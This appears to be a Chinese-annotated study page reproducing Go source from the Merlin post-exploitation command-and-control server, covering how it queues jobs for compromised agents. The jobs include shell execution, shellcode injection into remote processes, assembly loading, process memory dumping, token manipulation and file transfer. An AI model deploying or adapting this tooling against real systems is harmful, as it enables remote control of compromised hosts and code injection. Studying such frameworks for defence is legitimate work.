	FileBlob     string \`json:"blob"\` 文件内容  
	IsDownload   bool   \`json:"download"\`  
}\*/  
         FileLocation: jobArgs\[0\],  
         IsDownload:   false,  
      }  
      job.Payload = p  
   case "cd": 切换目录  
      job.Type = merlinJob.NATIVE agent系统原生命令  
        
      	// NATIVE 用于发送 NativeCmd 消息  
	NATIVE = 13 // NativeCmd  
	  
      p := merlinJob.Command{  
         Command: "cd",  
         Args:    jobArgs\[0:\],  
      }  
      job.Payload = p  
   case "CreateProcess":创建进程命令在merlin moudle中  
      job.Type = merlinJob.MODULE   
      p := merlinJob.Command{  
         Command: jobType,  
         Args:    jobArgs,  
      }  
      job.Payload = p  
   case "env":  
      job.Type = merlinJob.NATIVE 输出agent env信息 为原生命令  
      job.Payload = merlinJob.Command{  
         Command: jobType,  
         Args:    jobArgs,  
      }  
   case "exit":  
      job.Type = merlinJob.CONTROL 控制命令  
      p := merlinJob.Command{  
         Command: jobArgs\[0\], // TODO, this should be in jobType position 这个因该为一个单独的job type  
      }  
      job.Payload = p  
   case "ifconfig":  
      job.Type = merlinJob.NATIVE 原生命令ifconfig  
      job.Payload = merlinJob.Command{  
         Command: jobType,  
      }  
   case "initialize":  
      job.Type = merlinJob.CONTROL  
      p := merlinJob.Command{  
         Command: jobType,  
      }  
      job.Payload = p  
   case "invoke-assembly": invoke-assembly(调用程序集)需要至少一个参数  
      if len(jobArgs) < 1 {  
         return "", fmt.Errorf("exected 1 argument for the invoke-assembly command, received: %+v", jobArgs)  
      }  
      job.Type = merlinJob.MODULE 调用程序集的命令在moudle中(通过invoke-assembly方式执行系统命令)  
      job.Payload = merlinJob.Command{  
         Command: "clr",  
         Args:    append(\[\]string{jobType}, jobArgs...),  
      }  
   case "ja3":  
      job.Type = merlinJob.CONTROL 修改ja3指纹  
      p := merlinJob.Command{  
         Command: jobArgs\[0\],  
      }  
  
      if len(jobArgs) == 2 {  
         p.Args = jobArgs\[1:\]  
      }  
      job.Payload = p  
   case "killdate": 干掉\\重置u时间(?)  
      job.Type = merlinJob.CONTROL   
      p := merlinJob.Command{  
         Command: jobArgs\[0\],  
      }  
      if len(jobArgs) == 2 {  
         p.Args = jobArgs\[1:\]  
      }  
      job.Payload = p  
   case "killprocess":(干掉进程)  
      job.Type = merlinJob.NATIVE  
      p := merlinJob.Command{  
         Command: "killprocess",  
         Args:    jobArgs,  
      }  
      job.Payload = p  
   case "list-assemblies": 列出程序集  
      job.Type = merlinJob.MODULE  
      job.Payload = merlinJob.Command{  
         Command: "clr",  
         Args:    \[\]string{"list-assemblies"},  
      }  
   case "load-assembly":加载程序集  
      if len(jobArgs) < 1 {  
         return "", fmt.Errorf("exected 1 argument for the load-assembly command, received: %+v", jobArgs)  
      }  
      job.Type = merlinJob.MODULE  
      assembly, err := ioutil.ReadFile(jobArgs\[0\]) 通过读取文件加载assembly  
      if err != nil {  
         return "", fmt.Errorf("there was an error reading the assembly at %s:\\n%s", jobArgs\[0\], err)  
      }  
      fileHash := sha256.New() 计算assembly文件hash  
      \_, err = io.WriteString(fileHash, string(assembly))  
      if err != nil {  
         message("warn", fmt.Sprintf("there was an error generating a file hash:\\n%s", err))  
      }  
      if ok {  
         agent.Log(fmt.Sprintf("loading assembly from %s with a SHA256: %s to agent", jobArgs\[0\], fileHash.Sum(nil)))  
      }  
  
      name := filepath.Base(jobArgs\[0\])  
      if len(jobArgs) > 1 {  
         name = jobArgs\[1\]  
      }  
      job.Payload = merlinJob.Command{  
         Command: "clr",  
         Args:    \[\]string{jobType, base64.StdEncoding.EncodeToString(\[\]byte(assembly)), name}job类型,base64编码assembly内容,n文件地址  
      }  
   case "load-clr":  
      if len(jobArgs) < 1 {  
         return "", fmt.Errorf("exected 1 argument for the load-clr command, received: %+v", jobArgs)  
      }  
      job.Type = merlinJob.MODULE  
      job.Payload = merlinJob.Command{  
         Command: "clr",  
         Args:    append(\[\]string{jobType}, jobArgs...),  
      }  
   case "ls":  
      job.Type = merlinJob.NATIVE 系统原生列目录命令  
      p := merlinJob.Command{  
         Command: "ls", // TODO This should be in the jobType position  
      }  
  
      if len(jobArgs) > 0 {  
         p.Args = jobArgs\[0:\]  
      } else {  
         p.Args = \[\]string{"./"}  
      }  
      job.Payload = p  
   case "maxretry": 设置最大充实次数  
      job.Type = merlinJob.CONTROL  
      p := merlinJob.Command{  
         Command: jobArgs\[0\], // TODO This should be in the jobType postion  
      }  
  
      if len(jobArgs) == 2 {  
         p.Args = jobArgs\[1:\]  
      }  
      job.Payload = p  
   case "memfd": 读文件(?)   
      if len(jobArgs) < 1 {  
         return "", fmt.Errorf("expected 1 argument for the memfd command, received %d", len(jobArgs))  
      }  
      executable, err := ioutil.ReadFile(jobArgs\[0\])  
      if err != nil {  
         return "", fmt.Errorf("there was an error reading %s: %v", jobArgs\[0\], err)  
      }  
      fileHash := sha256.New()  
      \_, err = io.WriteString(fileHash, string(executable))  
      if err != nil {  
         message("warn", fmt.Sprintf("There was an error generating file hash:\\r\\n%s", err.Error()))  
      }  
      b := base64.StdEncoding.EncodeToString(executable)  
      job.Type = merlinJob.MODULE  
      job.Payload = merlinJob.Command{  
         Command: jobType,  
         Args:    append(\[\]string{b}, jobArgs\[1:\]...),  
      }  
   case "Minidump": 读进程(?)内容在moudle中  
      job.Type = merlinJob.MODULE  
      p := merlinJob.Command{  
         Command: jobType,  
         Args:    jobArgs,  
      }  
      job.Payload = p  
   case "netstat":  
      job.Type = merlinJob.MODULE  
      p := merlinJob.Command{  
         Command: jobType,  
         Args:    jobArgs,  
      }  
      job.Payload = p  
   case "nslookup":  
      job.Type = merlinJob.NATIVE  
      job.Payload = merlinJob.Command{  
         Command: jobType,  
         Args:    jobArgs,  
      }  
   case "padding": 填充字段查看  
      job.Type = merlinJob.CONTROL  
      p := merlinJob.Command{  
         Command: jobArgs\[0\],  
      }  
  
      if len(jobArgs) == 2 {  
         p.Args = jobArgs\[1:\]  
      }  
      job.Payload = p  
   case "pipes": 管道(内容在moudle中)  
      job.Type = merlinJob.MODULE  
      p := merlinJob.Command{  
         Command: "pipes",  
      }  
      job.Payload = p  
   case "ps":  
      job.Type = merlinJob.MODULE  
      p := merlinJob.Command{  
         Command: "ps",  
      }  
      job.Payload = p  
   case "pwd":  
      job.Type = merlinJob.NATIVE  
      p := merlinJob.Command{  
         Command: jobArgs\[0\], // TODO This should be in the jobType position  
      }  
      job.Payload = p  
   case "rm":  
      job.Type = merlinJob.NATIVE  
      job.Payload = merlinJob.Command{  
         Command: jobType,  
         Args:    jobArgs\[0:1\],  
      }  
   case "run", "exec":  
      job.Type = merlinJob.CMD  
      payload := merlinJob.Command{  
         Command: jobArgs\[0\],  
      }  
      if len(jobArgs) > 1 {  
         payload.Args = jobArgs\[1:\]  
      }  
      job.Payload = payload  
   case "runas": linux高级命令,内容在moudle中(设置别名?)  
      job.Type = merlinJob.MODULE  
      job.Payload = merlinJob.Command{  
         Command: jobType,  
         Args:    jobArgs,  
      }  
   case "sdelete": 删除  
      job.Type = merlinJob.NATIVE  
      job.Payload = merlinJob.Command{  
         Command: jobType,  
         Args:    jobArgs,  
      }  
   case "shell": cmd命令,发送cmd payload  
      job.Type = merlinJob.CMD  
      payload := merlinJob.Command{  
         Command: jobType,  
         Args:    jobArgs,  
      }  
      job.Payload = payload  
   case "shellcode": 发送shellcode payload  
      job.Type = merlinJob.SHELLCODE  
      payload := merlinJob.Shellcode{  
         Method: jobArgs\[0\],  
      }  
  
      if payload.Method == "self" {  
         payload.Bytes = jobArgs\[1\]  
      } else if payload.Method == "remote" || payload.Method == "rtlcreateuserthread" || payload.Method == "userapc" {  
         i, err := strconv.Atoi(jobArgs\[1\])  
         if err != nil {  
            return "", err  
         }  
         payload.PID = uint32(i)  
         payload.Bytes = jobArgs\[2\]  
      }  
      job.Payload = payload  
   case "skew": 偏斜??  
      job.Type = merlinJob.CONTROL  
      p := merlinJob.Command{  
         Command: jobArgs\[0\],  
      }  
  
      if len(jobArgs) == 2 {  
         p.Args = jobArgs\[1:\]  
      }  
      job.Payload = p  
   case "sleep":  
      job.Type = merlinJob.CONTROL  
      p := merlinJob.Command{  
         Command: jobArgs\[0\],  
      }  
  
      if len(jobArgs) == 2 {  
         p.Args = jobArgs\[1:\]  
      }  
      job.Payload = p  
   case "ssh":  
      job.Type = merlinJob.MODULE  
      job.Payload = merlinJob.Command{  
         Command: jobType,  
         Args:    jobArgs,  
      }  
   case "token": token令牌命令在moudle中  
      job.Type = merlinJob.MODULE  
      job.Payload = merlinJob.Command{  
         Command: jobType,  
         Args:    jobArgs,  
      }  
   case "touch":  
      job.Type = merlinJob.NATIVE  
      job.Payload = merlinJob.Command{  
         Command: jobType,  
         Args:    jobArgs,  
      }  
   case "upload":  
      job.Type = merlinJob.FILETRANSFER  
      if len(jobArgs) < 2 {  
         return "", fmt.Errorf("expected 2 arguments for upload command, received %d", len(jobArgs))  
      }  
      uploadFile, uploadFileErr := ioutil.ReadFile(jobArgs\[0\])  
      if uploadFileErr != nil {  
         // TODO send "ServerOK"  
         return "", fmt.Errorf("there was an error reading %s: %v", merlinJob.String(job.Type), uploadFileErr)  
      }  
      fileHash := sha256.New()  
      \_, err := io.WriteString(fileHash, string(uploadFile))  
      if err != nil {  
         message("warn", fmt.Sprintf("There was an error generating file hash:\\r\\n%s", err.Error()))  
      }  
      if ok {  
         agent.Log(fmt.Sprintf("Uploading file from server at %s of size %d bytes and SHA-256: %x to agent at %s",  
            jobArgs\[0\],  
            len(uploadFile),  
            fileHash.Sum(nil),  
            jobArgs\[1\]))  
      }  
  
      p := merlinJob.FileTransfer{  
         FileLocation: jobArgs\[1\],  
         FileBlob:     base64.StdEncoding.EncodeToString(\[\]byte(uploadFile)),  
         IsDownload:   true,  
      }  
      job.Payload = p  
   case "uptime": 更新时间  
      job.Type = merlinJob.MODULE  
      p := merlinJob.Command{  
         Command: "uptime",  
      }  
      job.Payload = p  
   default:  
      return "", fmt.Errorf("invalid job type: %d", job.Type)  
   }  
  
   // If the Agent is set to broadcast identifier for ALL agents  
   if agentID.String() == "ffffffff-ffff-ffff-ffff-ffffffffffff" { 如果agent设置为所有agent的广播标识符  
      if len(agents.Agents) <= 0 {  
         return "", fmt.Errorf("there are 0 available agents, no jobs were created")  
      }  
      for a := range agents.Agents {  
         // Fill out remaining job fields  
         token := uuid.NewV4() 生成token  
         job.ID = core.RandStringBytesMaskImprSrc(10) 生成10位随机字符id  
         job.Token = token  
         job.AgentID = a  
         // Add job to the channel  
         \_, k := JobsChannel\[agentID\]  
         if !k {  
            JobsChannel\[agentID\] = make(chan merlinJob.Job, 100)  为每个agent分配100个job空间  
         }  
         JobsChannel\[a\] <- job  
         //agents.Agents\[a\].JobChannel <- job  
         // Add job to the list  
         Jobs\[job.ID\] = info{ 填充job信息  
            AgentID: a,  
            Token:   token,  
            Type:    merlinJob.String(job.Type),  
            Status:  merlinJob.CREATED,  
            Created: time.Now().UTC(),  
            Command: jobType + " " + strings.Join(jobArgs, " "),  
         }  
         // Log the job  
         if ok {  
            agent.Log(fmt.Sprintf("Created job Type:%s, ID:%s, Status:%s, Args:%s",  
               messages.String(job.Type),  
               job.ID,  
               "Created",  
               jobArgs))  
         }  
      }  
   } else {  
      // A single Agent  
      token := uuid.NewV4()  
      job.Token = token  
      job.ID = core.RandStringBytesMaskImprSrc(10)  
      job.AgentID = agentID  
      // Add job to the channel  
      \_, k := JobsChannel\[agentID\]  
      if !k {  
         JobsChannel\[agentID\] = make(chan merlinJob.Job, 100)  
      }  
      JobsChannel\[agentID\] <- job  
      // Add job to the list  
      Jobs\[job.ID\] = info{  
         AgentID: agentID,  
         Token:   token,  
         Type:    merlinJob.String(job.Type),  
         Status:  merlinJob.CREATED,  
         Created: time.Now().UTC(),  
         Command: jobType + " " + strings.Join(jobArgs, " "),  
      }  
      // Log the job  
      if ok {  
         agent.Log(fmt.Sprintf("Created job Type:%s, ID:%s, Status:%s, Args:%s",  
            messages.String(job.Type),  
            job.ID,  
            "Created",  
            jobArgs))  
      }  
  
   }  
   return job.ID, nil  
}  
  
// Clear removes any jobs the queue that have been created, but NOT sent to the agent  
清除删除队列中已创建但未发送到agent的所有job  
func Clear(agentID uuid.UUID) error {  
   if core.Debug {  
      message("debug", "Entering into jobs.Clear() function...")  
   }  
  
   //\_, ok := agents.Agents\[agentID\]  
   //if !ok {  
   // return fmt.Errorf("%s is not a valid agent", agentID)  
   //}  
  
   // Empty the job channel  
   jobChannel, k := JobsChannel\[agentID\]  
   if !k {  
      // There was not a jobs channel for this agent  
      return nil  
   }  
   jobLength := len(jobChannel)  
   if jobLength > 0 {  
      for i := 0; i < jobLength; i++ {  
         job := <-jobChannel 循环遍历取出job设置status为cancel  
         // Update Job Info structure  
         j, ok := Jobs\[job.ID\]  
         if ok {  
            j.Status = merlinJob.CANCELED  
            Jobs\[job.ID\] = j  
         } else {  
            return fmt.Errorf("invalid job %s for agent %s", job.ID, agentID)  
         }  
         if core.Debug {  
            message("debug", fmt.Sprintf("Channel command string: %+v", job))  
            message("debug", fmt.Sprintf("Job type: %s", messages.String(job.Type)))  
         }  
      }  
   }  
   return nil  
}  
  
// ClearCreated removes all unsent jobs across all agents 删除所有agent                                                                                                          所有未发送的job  
func ClearCreated() error {  
   if core.Debug {  
      message("debug", "Entering into jobs.Clear() function...")  
   }  
   for id := range JobsChannel {  
      err := Clear(id)  
      if err != nil {  
         return err  
      }  
   }  
   return nil  
}  
  
// Get returns a list of jobs that need to be sent to the agent返回需要发送给agent的job列表 根据agent uuid取出对应的job channel中的所有job设置type为sent  
func Get(agentID uuid.UUID) (\[\]merlinJob.Job, error) {  
   if core.Debug {  
      message("debug", "Entering into jobs.Get() function...")  
   }  
   var jobs \[\]merlinJob.Job  
   \_, ok := agents.Agents\[agentID\]  
   if !ok {  
      return jobs, fmt.Errorf("%s is not a valid agent", agentID)  
   }  
  
   jobChannel, k := JobsChannel\[agentID\]  
   if !k {  
      // There was not a jobs channel for this agent  
      return jobs, nil  
   }  
  
   // Check to see if there are any jobs  
   jobLength := len(jobChannel)  
   if jobLength > 0 {  
      for i := 0; i < jobLength; i++ {  
         job := <-jobChannel  
         jobs = append(jobs, job)  
         // Update Job Info map  
         j, ok := Jobs\[job.ID\]  
         if ok {  
            j.Status = merlinJob.SENT  
            j.Sent = time.Now().UTC()  
            Jobs\[job.ID\] = j  
         } else {  
            return jobs, fmt.Errorf("invalid job %s for agent %s", job.ID, agentID)  
         }  
         if core.Debug {  
            message("debug", fmt.Sprintf("Channel command string: %+v", job))  
            message("debug", fmt.Sprintf("Job type: %s", merlinJob.String(job.Type)))  
         }  
      }  
   }  
   if core.Debug {  
      message("debug", fmt.Sprintf("Returning jobs:\\r\\n%+v", jobs))  
   }  
   return jobs, nil  
}  
  
// Handler evaluates a message sent in by the agent and the subsequently executes any corresponding tasks  
评估agent发送的消息,然后执行任何相应的任务  
func Handler(m messages.Base) (messages.Base, error) {  
   if core.Debug {  
      message("debug", "Entering into jobs.Handle() function...")  
      message("debug", fmt.Sprintf("Input message: %+v", m))  
   }  
  
   returnMessage := messages.Base{  
      ID:      m.ID,  
      Version: 1.0,  
   }  
  
   if m.Type != messages.JOBS { message类型为jobs  
      return returnMessage, fmt.Errorf("invalid message type: %s for job handler", messages.String(m.Type))  
   }  
   jobs := m.Payload.(\[\]merlinJob.Job) 拆解message中payload字段为jobs  
   a, ok := agents.Agents\[m.ID\] 获取agent uuid  
   if !ok {  
      return returnMessage, fmt.Errorf("%s is not a valid agent", m.ID)  
   }  
  
   a.StatusCheckIn = time.Now().UTC()  
   returnMessage.Padding = core.RandStringBytesMaskImprSrc(a.PaddingMax)  
  
   var returnJobs \[\]merlinJob.Job  
  
   for \_, job := range jobs {  
      // Check to make sure agent UUID is in dataset  
      agent, ok := agents.Agents\[job.AgentID\]  
      if ok {  
         // Verify that the job contains the correct token and that it was not already completed  
         err := checkJob(job)  
         if err != nil {  
            // Agent will send back error messages that are not the result of a job  
            if job.Type != merlinJob.RESULT {  
               return returnMessage, err  
            }  
            if core.Debug {  
               message("debug", fmt.Sprintf("Received %s message without job token.\\r\\n%s", messages.String(job.Type), err))  
            }  
         }  
         switch job.Type {  
         case merlinJob.RESULT:  
            agent.Log(fmt.Sprintf("Results for job: %s", job.ID))  
  
            userMessage := messageAPI.UserMessage{  
               Level:   messageAPI.Note,  
               Time:    time.Now().UTC(),  
               Message: fmt.Sprintf("Results job %s for agent %s at %s", job.ID, job.AgentID, time.Now().UTC().Format(time.RFC3339)),  
            }  
            messageAPI.SendBroadcastMessage(userMessage)   
            result := job.Payload.(merlinJob.Results)广播格式化job信息要输出  
            if len(result.Stdout) > 0 {  
               agent.Log(fmt.Sprintf("Command Results (stdout):\\r\\n%s", result.Stdout))  
               userMessage := messageAPI.UserMessage{  
                  Level:   messageAPI.Success,  
                  Time:    time.Now().UTC(),  
                  Message: result.Stdout,  
               }  
               messageAPI.SendBroadcastMessage(userMessage)广播job command结果  
            }  
            if len(result.Stderr) > 0 {  
               agent.Log(fmt.Sprintf("Command Results (stderr):\\r\\n%s", result.Stderr))   
               userMessage := messageAPI.UserMessage{  
                  Level:   messageAPI.Warn,  
                  Time:    time.Now().UTC(),  
                  Message: result.Stderr,  
               }  
               messageAPI.SendBroadcastMessage(userMessage) 广播命令错误信息  
            }  
         case merlinJob.AGENTINFO:  
            agent.UpdateInfo(job.Payload.(messages.AgentInfo))  
         case merlinJob.FILETRANSFER: 传输文件  
            err := fileTransfer(job.AgentID, job.Payload.(merlinJob.FileTransfer))  
            if err != nil {  
               return returnMessage, err  
            }  
         }  
         // Update Jobs Info structure  
         j, k := Jobs\[job.ID\]  
         if k {  
            j.Status = merlinJob.COMPLETE  
            j.Completed = time.Now().UTC()  
            Jobs\[job.ID\] = j  
         }  
      } else {  
         userMessage := messageAPI.UserMessage{  
            Level:   messageAPI.Warn,  
            Time:    time.Now().UTC(),  
            Message: fmt.Sprintf("Job %s was for an invalid agent %s", job.ID, job.AgentID),  
         }  
         messageAPI.SendBroadcastMessage(userMessage)  
      }  
   }  
   // See if there are any new jobs to send back 完成job后查看是否有新job要执行  
   agentJobs, err := Get(m.ID)  
   if err != nil {  
      return returnMessage, err  
   }  
   returnJobs = append(returnJobs, agentJobs...)  
  
   if len(returnJobs) > 0 {  
      returnMessage.Type = messages.JOBS  
      returnMessage.Payload = returnJobs  
   } else {  
      returnMessage.Type = messages.IDLE  
   }  
  
   if core.Debug {  
      message("debug", fmt.Sprintf("Message that will be returned to the Agent:\\r\\n%+v", returnMessage))  
      message("debug", "Leaving jobs.Handle() function...")  
   }  
   return returnMessage, nil  
}  
  
// Idle handles input idle messages from the agent and checks to see if there are any jobs to return  
输入agent的 idle信息并查看是否有job去返回(返回对应uuid的job)   
func Idle(agentID uuid.UUID) (messages.Base, error) {  
   returnMessage := messages.Base{  
      ID:      agentID,  
      Version: 1.0,  
   }  
   agent, ok := agents.Agents\[agentID\]  
   if !ok {  
      return returnMessage, fmt.Errorf("%s is not a valid agent", agentID)  
   }  
  
   if core.Verbose || core.Debug {  
      message("success", fmt.Sprintf("Received agent status checkin from %s", agentID))  
   }  
  
   agent.StatusCheckIn = time.Now().UTC()  
   returnMessage.Padding = core.RandStringBytesMaskImprSrc(agent.PaddingMax)  
   // See if there are any new jobs to send back  
   jobs, err := Get(agentID)  
   if err != nil {  
      return returnMessage, err  
   }  
   if len(jobs) > 0 {  
      returnMessage.Type = messages.JOBS  
      returnMessage.Payload = jobs  
   } else {  
      returnMessage.Type = messages.IDLE  
   }  
   return returnMessage, nil  
}  
  
// GetTableActive returns a list of rows that contain information about active jobs  
返回包含有关active作业信息的行列表  
func GetTableActive(agentID uuid.UUID) (\[\]\[\]string, error) {  
   if core.Debug {  
      message("debug", fmt.Sprintf("entering into jobs.GetTableActive for agent %s", agentID.String()))  
   }  
   var jobs \[\]\[\]string  
   \_, ok := agents.Agents\[agentID\]  
   if !ok {  
      return jobs, fmt.Errorf("%s is not a valid agent", agentID)  
   }  
  
   for id, job := range Jobs {  
      if job.AgentID == agentID {  
         //message("debug", fmt.Sprintf("GetTableActive(%s) ID: %s, Job: %+v", agentID.String(), id, job))  
         var status string  
         switch job.Status {  
         case merlinJob.CREATED:  
            status = "Created"  
         case merlinJob.SENT:  
            status = "Sent"  
         case merlinJob.RETURNED:  
            status = "Returned"  
         default:  
            status = fmt.Sprintf("Unknown job status: %d", job.Status)  
         }  
         var zeroTime time.Time  
         // Don't add completed or canceled jobs  
         if job.Status != merlinJob.COMPLETE && job.Status != merlinJob.CANCELED {  
            var sent string  
            if job.Sent != zeroTime {  
               sent = job.Sent.Format(time.RFC3339)  
            }  
            // <JobID>, <Command>, <JobStatus>, <Created>, <Sent>  
            jobs = append(jobs, \[\]string{  
               id,  
               job.Command,  
               status,  
               job.Created.Format(time.RFC3339),  
               sent,  
            })  
         }  
      }  
   }  
   return jobs, nil  
}  
  
// GetTableAll returns all unsent jobs to be displayed as a table 展示所有未发送的job  
func GetTableAll() \[\]\[\]string {  
   var jobs \[\]\[\]string  
   for id, job := range Jobs {  
      var status string  
      switch job.Status {  
      case merlinJob.CREATED:  
         status = "Created"  
      case merlinJob.SENT:  
         status = "Sent"  
      case merlinJob.RETURNED:  
         status = "Returned"  
      default:  
         status = fmt.Sprintf("Unknown job status: %d", job.Status)  
      }  
      if job.Status != merlinJob.COMPLETE && job.Status != merlinJob.CANCELED {  
         var zeroTime time.Time  
         var sent string  
         if job.Sent != zeroTime {  
            sent = job.Sent.Format(time.RFC3339)  
         }  
  
         jobs = append(jobs, \[\]string{  
            job.AgentID.String(),  
            id,  
            job.Command,  
            status,  
            job.Created.Format(time.RFC3339),  
            sent,  
         })  
      }  
   }  
   return jobs  
}  
  
// checkJob verifies that the input job message contains the expected token and was not already completed  
验证输入的作业消息是否包含预期的token并且尚未完成  
func checkJob(job merlinJob.Job) error {  
   // Check to make sure agent UUID is in dataset  
   \_, ok := agents.Agents\[job.AgentID\]  
   if !ok {  
      return fmt.Errorf("job %s was for an invalid agent %s", job.ID, job.AgentID)  
   }  
   j, k := Jobs\[job.ID\]  
   if !k {  
      return fmt.Errorf("job %s was not found for agent %s", job.ID, job.AgentID)  
   }  
   if job.Token != j.Token { 验证token  
      return fmt.Errorf("job %s for agent %s did not contain the correct token.\\r\\nExpected: %s, Got: %s", job.ID, job.AgentID, j.Token, job.Token)  
   }  
   if j.Status == merlinJob.COMPLETE { 验证job是否完成  
      return fmt.Errorf("job %s for agent %s was previously completed on %s", job.ID, job.AgentID, j.Completed.UTC().Format(time.RFC3339))  
   }  
   if j.Status == merlinJob.CANCELED { 验证job是否取消  
      return fmt.Errorf("job %s for agent %s was previously canceled on", job.ID, job.AgentID)  
   }  
   return nil  
}  
  
// fileTransfer handles file upload/download operations  
func fileTransfer(agentID uuid.UUID, p merlinJob.FileTransfer) error {  
   if core.Debug {  
      message("debug", "Entering into agents.FileTransfer")  
   }  
  
   // Check to make sure it is a known agent  
   agent, ok := agents.Agents\[agentID\]  
   if !ok {  
      return fmt.Errorf("%s is not a valid agent", agentID)  
   }  
  
   if p.IsDownload {  
      agentsDir := filepath.Join(core.CurrentDir, "data", "agents")  
      \_, f := filepath.Split(p.FileLocation) // We don't need the directory part for anything  
      if \_, errD := os.Stat(agentsDir); os.IsNotExist(errD) {  
         errorMessage := fmt.Errorf("there was an error locating the agent's directory:\\r\\n%s", errD.Error())  
         agent.Log(errorMessage.Error())  
         return errorMessage  
      }  
      message("success", fmt.Sprintf("Results for %s at %s", agentID, time.Now().UTC().Format(time.RFC3339)))  
      downloadBlob, downloadBlobErr := base64.StdEncoding.DecodeString(p.FileBlob) base64解码下载的内容  
  
      if downloadBlobErr != nil {  
         errorMessage := fmt.Errorf("there was an error decoding the fileBlob:\\r\\n%s", downloadBlobErr.Error())  
         agent.Log(errorMessage.Error())  
         return errorMessage  
      }  
      downloadFile := filepath.Join(agentsDir, agentID.String(), f)在agent id 对应的文件夹下存储下载的文件  
      writingErr := ioutil.WriteFile(downloadFile, downloadBlob, 0600)  
      if writingErr != nil {  
         errorMessage := fmt.Errorf("there was an error writing to -> %s:\\r\\n%s", p.FileLocation, writingErr.Error())  
         agent.Log(errorMessage.Error())  
         return errorMessage  
      }  
      successMessage := fmt.Sprintf("Successfully downloaded file %s with a size of %d bytes from agent %s to %s",  
         p.FileLocation,  
         len(downloadBlob),  
         agentID.String(),  
         downloadFile)  
  
      message("success", successMessage)  
      agent.Log(successMessage)  
   }  
   if core.Debug {  
      message("debug", "Leaving agents.FileTransfer")  
   }  
   return nil  
}  
  
// message is used to send send messages to STDOUT where the server is running and not intended to be sent to CLI  
用于将发送消息发送到服务器正在运行的 STDOUT,而不打算发送到 CLI  
func message(level string, message string) {  
   switch level {  
   case "info":  
      color.Cyan("\[i\]" + message)  
   case "note":  
      color.Yellow("\[-\]" + message)  
   case "warn":  
      color.Red("\[!\]" + message)  
   case "debug":  
      color.Red("\[DEBUG\]" + message)  
   case "success":  
      color.Green("\[+\]" + message)  
   default:  
      color.Red("\[\_-\_\]Invalid message level: " + message)  
   }  
}

jobs

jobs.go
// Merlin is a post-exploitation command and control framework.  
// This file is part of Merlin.  
// Copyright (C) 2021  Russel Van Tuyl  
  
// Merlin is free software: you can redistribute it and/or modify  
// it under the terms of the GNU General Public License as published by  
// the Free Software Foundation, either version 3 of the License, or  
// any later version.  
  
// Merlin is distributed in the hope that it will be useful,  
// but WITHOUT ANY WARRANTY; without even the implied warranty of  
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the  
// GNU General Public License for more details.  
  
// You should have received a copy of the GNU General Public License  
// along with Merlin.  If not, see <http://www.gnu.org/licenses/>.  
  
package jobs  
  
// TODO Does it makes sense to move this under pkg/agents/jobs?  
  
import (  
   // Standard  
   "encoding/gob"  
   "fmt"  
  
   // 3rd Party  
   uuid "github.com/satori/go.uuid"  
)  
  
// init registers message types with gob that are an interface for Base.Payload  
func init() {  
   gob.Register(\[\]Job{})  
   gob.Register(Command{})  
   gob.Register(Shellcode{})  
   gob.Register(FileTransfer{})  
   gob.Register(Results{})  
}  
  
const (  
   // CREATED is used to denote that job has been created  
   CREATED \= 1  
   // SENT is used to denote that the job has been sent to the Agent  
   SENT \= 2  
   // RETURNED is for when a chunk has been returned but the job hasn't finished running  
   RETURNED \= 3  
   // COMPLETE is used to denote that the job has finished running and the Agent has sent back the results  
   COMPLETE \= 4  
   // CANCELED is used to denoted jobs that were cancelled with the "clear" command  
   CANCELED \= 5  
  
   // To Agent  
  
   // CMD is used to send CmdPayload messages  
   CMD \= 10 // CmdPayload  
   // CONTROL is used to send AgentControl messages  
   CONTROL \= 11 // AgentControl  
   // SHELLCODE is used to send shellcode messages  
   SHELLCODE \= 12 // Shellcode  
   // NATIVE is used to send NativeCmd messages  
   NATIVE \= 13 // NativeCmd  
   // FILETRANSFER is used to send FileTransfer messages for upload/download operations  
   FILETRANSFER \= 14 // FileTransfer  
   // OK is used to signify that there is nothing to do, or to idle  
   OK \= 15 // ServerOK  
   // MODULE is used to send Module messages  
   MODULE \= 16 // Module  
  
   // From Agent  
  
   // RESULT is used by the Agent to return a result message  
   RESULT \= 20  
   // AGENTINFO is used by the Agent to return information about its configuration  
   AGENTINFO \= 21  
)  
  
// Job is used to task an agent to run a command  
type Job struct {  
   AgentID uuid.UUID   // ID of the agent the job belong to  
   ID      string      // Unique identifier for each job  
   Token   uuid.UUID   // A unique token for each task that acts like a CSRF token to prevent multiple job messages  
   Type    int         // The type of job it is (e.g., FileTransfer  
   Payload interface{} // Embedded messages of various types  
}  
  
// Command is the structure to send a task for the agent to execute  
type Command struct {  
   Command string   \`json:"command"\`  
   Args    \[\]string \`json:"args"\`  
}  
  
// Shellcode is a JSON payload containing shellcode and the method for execution  
type Shellcode struct {  
   Method string \`json:"method"\`  
   Bytes  string \`json:"bytes"\`         // Base64 string of shellcode bytes  
   PID    uint32 \`json:"pid,omitempty"\` // Process ID for remote injection  
}  
  
// FileTransfer is the JSON payload to transfer files between the server and agent  
type FileTransfer struct {  
   FileLocation string \`json:"dest"\`  
   FileBlob     string \`json:"blob"\`  
   IsDownload   bool   \`json:"download"\`  
}  
  
// Results is a JSON payload that contains the results of an executed command from an agent  
type Results struct {  
   Stdout string \`json:"stdout"\`  
   Stderr string \`json:"stderr"\`  
}  
  
// String returns the text representation of a message constant  
func String(jobType int) string {  
   switch jobType {  
   case CMD:  
      return "Command"  
   case CONTROL:  
      return "AgentControl"  
   case SHELLCODE:  
      return "Shellcode"  
   case NATIVE:  
      return "Native"  
   case FILETRANSFER:  
      return "FileTransfer"  
   case OK:  
      return "ServerOK"  
   case MODULE:  
      return "Module"  
   case RESULT:  
      return "Result"  
   case AGENTINFO:  
      return "AgentInfo"  
   default:  
      return fmt.Sprintf("Invalid job type: %d", jobType)  
   }  
}
相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2